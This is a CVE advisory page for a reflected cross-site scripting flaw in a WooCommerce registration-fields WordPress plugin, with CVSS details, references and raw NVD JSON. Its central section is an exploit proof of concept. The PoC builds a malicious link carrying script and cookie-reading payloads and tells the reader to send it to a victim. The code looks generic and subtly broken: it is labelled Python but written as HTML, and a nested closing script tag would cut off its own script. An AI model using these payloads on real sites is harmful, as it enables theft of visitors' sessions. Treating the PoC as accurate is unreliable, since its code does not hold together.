CVE-2025-49947

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in extendons WooCommerce Registration Fields Plugin - Custom Signup Fields extendons-registration-fields allows Reflected XSS.This issue affects WooCommerce Registration Fields Plugin - Custom Signup Fields: from n/a through <= 3.2.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

extendons-registration-fields <= 3.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49947 PoC: Reflected XSS in extendons-registration-fields -->
<!-- Attack Vector: Inject malicious script via registration field parameter -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-49947 PoC</title>
</head>
<body>
    <h2>CVE-2025-49947 Reflected XSS PoC</h2>
    <p>Target: extendons-registration-fields <= 3.2.3</p>
    
    <!-- Malicious URL that triggers XSS -->
    <p>Malicious URL:</p>
    <code id="malicious-url"></code>
    
    <script>
        // Generate malicious URL for WooCommerce registration page
        var targetUrl = window.location.origin + '/my-account/';
        var maliciousPayload = '"<script>alert("XSS - CVE-2025-49947");document.cookie;</script>"';
        var maliciousUrl = targetUrl + '?reg_field=' + encodeURIComponent(maliciousPayload);
        
        document.getElementById('malicious-url').innerHTML = maliciousUrl;
        
        // Optional: Auto-copy to clipboard
        navigator.clipboard.writeText(maliciousUrl).then(function() {
            console.log('Malicious URL copied to clipboard');
        });
    </script>
    
    <p>Instructions:</p>
    <ol>
        <li>Replace the target URL with the vulnerable WooCommerce site</li>
        <li>Send the malicious URL to the victim</li>
        <li>When victim clicks the link and visits the registration page, the script will execute</li>
    </ol>
    
    <!-- Simulated attack payload -->
    <form id="attack-form" style="display:none;">
        <input type="text" name="reg_field" value='" onfocus="alert(document.cookie)" x="'>
    </form>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49947
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49947
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49947/
[4] VulDB https://vuldb.com/cve/CVE-2025-49947
[5] https://patchstack.com/database/Wordpress/Plugin/extendons-registration-fields/vulnerability/wordpress-woocommerce-registration-fields-plugin-custom-signup-fields-plugin-3-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49947", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in extendons WooCommerce Registration Fields Plugin - Custom Signup Fields extendons-registration-fields allows Reflected XSS.This issue affects WooCommerce Registration Fields Plugin - Custom Signup Fields: from n/a through <= 3.2.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/extendons-registration-fields/vulnerability/wordpress-woocommerce-registration-fields-plugin-custom-signup-fields-plugin-3-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}